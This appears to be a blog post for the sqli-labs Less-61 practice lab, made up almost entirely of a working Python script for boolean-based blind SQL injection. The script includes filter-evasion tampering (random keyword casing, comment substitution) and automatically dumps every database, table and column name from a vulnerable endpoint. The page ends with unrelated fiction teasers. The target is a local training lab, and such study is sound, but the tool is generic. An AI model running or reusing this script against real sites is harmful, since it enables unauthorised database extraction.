#!/usr/bin/env python
# encoding:utf8
import requests
import time
import sys
import random
# hack-config-start
payload = "'))|()--+" # 樣例 : 0"or()or"="1 或 0' or()or '='1
success_symbol = "Your Login name :"
url = "http://127.0.0.1/Less-61/index.php?id="
# 如果對(duì)參數(shù)進(jìn)行了過濾 , 需要配置temper函數(shù) , 雙寫或者加注釋繞過
# hack-config-end
# config-start
sleep_time = 5
error_time = 1
# config-end
# define-start
system_schema_names = ['information_schema','test','mysql','performance_schema','phpmyadmin']
# 關(guān)鍵字
random_up_low_keywords = ['select','union','from','limit']
# 函數(shù)名
random_up_low_keywords.append('ascii')
random_up_low_keywords.append('substring')
# 系統(tǒng)庫(kù)名/表名/列名
random_up_low_keywords.append('information_schema')
random_up_low_keywords.append('schemata')
random_up_low_keywords.append('tables')
random_up_low_keywords.append('columns')
random_up_low_keywords.append('schema_name')
random_up_low_keywords.append('table_name')
random_up_low_keywords.append('column_name')
# define-end
# TODO-start
# 優(yōu)化顯示
# TODO-end
def temper(tempPayload):
global random_up_low_keywords
for tempKeyword in random_up_low_keywords:
tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword))
tempPayload = tempPayload.replace(" ","/**/")
tempPayload = tempPayload.replace(" ","%a0")
# tempPayload = tempPayload.replace("or","oorr")
# tempPayload = tempPayload.replace("and","anandd")
return tempPayload
def getRandomType(keywords):
# TODO 返回隨機(jī)大小寫
random_int = random.randint(0, len(keywords) - 1)
tempList = list(keywords)
tempList[random_int] = tempList[random_int].upper()
return "".join(tempList)
def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid):
global payload
# http://127.0.0.1/Less-65/index.php?id=0"or()or"="1
startStr = payload.split("()")[0]
endStr = payload.split("()")[1]
# ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0)
temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
temppayload = startStr + temppayload + endStr
# temper
temppayload = temper(temppayload)
return temppayload
def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid):
global success_symbol
global url
# content-start
tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid)
content = requests.get(tempurl).text
# print content
# content-end
# judge-start
if success_symbol in content:
return True
else:
return False
# judge-end
def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number):
while left_number < right_number:
mid = int((left_number + right_number) / 2)
if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)):
left_number = mid
else:
right_number = mid
if left_number == right_number - 1:
if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)):
mid += 1
break
else:
break
return chr(mid)
def getAllData(database_name, table_name, column_name, where):
allData = []
for i in range(32): # 需要遍歷的查詢結(jié)果的數(shù)量
counter = 0
data = ""
for j in range(32): # 結(jié)果的長(zhǎng)度
counter += 1
temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 從255開始查詢
if ord(temp) == 1: # 當(dāng)為1的時(shí)候說明已經(jīng)查詢結(jié)束
break
sys.stdout.write(temp)
sys.stdout.flush()
data += temp
if counter == 1: # 當(dāng)結(jié)果集的所有行都被遍歷后退出
break
sys.stdout.write("\r\n")
sys.stdout.flush()
allData.append(data)
return allData
def getAllSchemaNames():
return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="")
def getAllTableNames(schema_name):
return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')")
def getAllColumnNames(schema_name, table_name):
return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')")
def hack():
print "================================"
print "正在獲取所有數(shù)據(jù)庫(kù) ..."
allSchemaNames = getAllSchemaNames()
print "所有數(shù)據(jù)庫(kù)名獲取完畢 !"
print "================================"
print "正在獲取所有數(shù)據(jù)庫(kù)表名 ..."
tempDic = {}
allUserSchemaNames = []
for schema_name in allSchemaNames:
print "--------------------------------"
print "當(dāng)前數(shù)據(jù)庫(kù) : " + schema_name + "\t",
IS_SYSTEM_SCHEMA = False
for system_schema_name in system_schema_names:
if system_schema_name == schema_name:
print "Mysql自帶系統(tǒng)數(shù)據(jù)庫(kù) , 智能忽略 !"
IS_SYSTEM_SCHEMA = True
break
if not IS_SYSTEM_SCHEMA:
print ""
allUserSchemaNames.append(schema_name)
tempDic[schema_name] = getAllTableNames(schema_name)
print "所有表名獲取完畢!"
print "================================"
print "正在獲取所有表列名 ..."
for schema_name in allUserSchemaNames:
print "--------------------------------"
for table_name in tempDic[schema_name]:
print "當(dāng)前數(shù)據(jù)庫(kù) : " + schema_name + "\t當(dāng)前表名 : " + table_name
getAllColumnNames(schema_name, table_name)
print "所有列名獲取完畢!"
print "================================"
hack()
[sqli-labs]Less-61(Bool盲注)
最后編輯于 :
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
- 文/潘曉璐 我一進(jìn)店門振劳,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)椎组,“玉大人,你說我怎么就攤上這事历恐÷睿” “怎么了?”我有些...
- 文/不壞的土叔 我叫張陵夹供,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我仁堪,道長(zhǎng)哮洽,這世上最難降的妖魔是什么? 我笑而不...
- 正文 為了忘掉前任弦聂,我火速辦了婚禮鸟辅,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘莺葫。我一直安慰自己匪凉,他們只是感情好,可當(dāng)我...
- 文/花漫 我一把揭開白布捺檬。 她就那樣靜靜地躺著再层,像睡著了一般。 火紅的嫁衣襯著肌膚如雪堡纬。 梳的紋絲不亂的頭發(fā)上聂受,一...
- 文/蒼蘭香墨 我猛地睜開眼镜悉,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼祟辟!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起侣肄,我...
- 序言:老撾萬(wàn)榮一對(duì)情侶失蹤川尖,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體叮喳,經(jīng)...
- 正文 獨(dú)居荒郊野嶺守林人離奇死亡被芳,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
- 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了馍悟。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片畔濒。...
- 正文 年R本政府宣布趣兄,位于F島的核電站,受9級(jí)特大地震影響悼嫉,放射性物質(zhì)發(fā)生泄漏艇潭。R本人自食惡果不足惜,卻給世界環(huán)境...
- 文/蒙蒙 一戏蔑、第九天 我趴在偏房一處隱蔽的房頂上張望蹋凝。 院中可真熱鬧,春花似錦总棵、人聲如沸鳍寂。這莊子的主人今日做“春日...
- 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)迄汛。三九已至,卻和暖如春骤视,著一層夾襖步出監(jiān)牢的瞬間隔心,已是汗流浹背。 一陣腳步聲響...
- 正文 我出身青樓笼裳,卻偏偏與公主長(zhǎng)得像唯卖,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子躬柬,可洞房花燭夜當(dāng)晚...
推薦閱讀更多精彩內(nèi)容
- 這個(gè)Payload基本通殺 : 這樣也可以明注 :
- 這道題發(fā)現(xiàn)頁(yè)面中會(huì)顯示出GET過去的參數(shù)不過好像沒有URL解碼...好奇怪 , 感覺好像是傳過去之后又被編碼了 ,...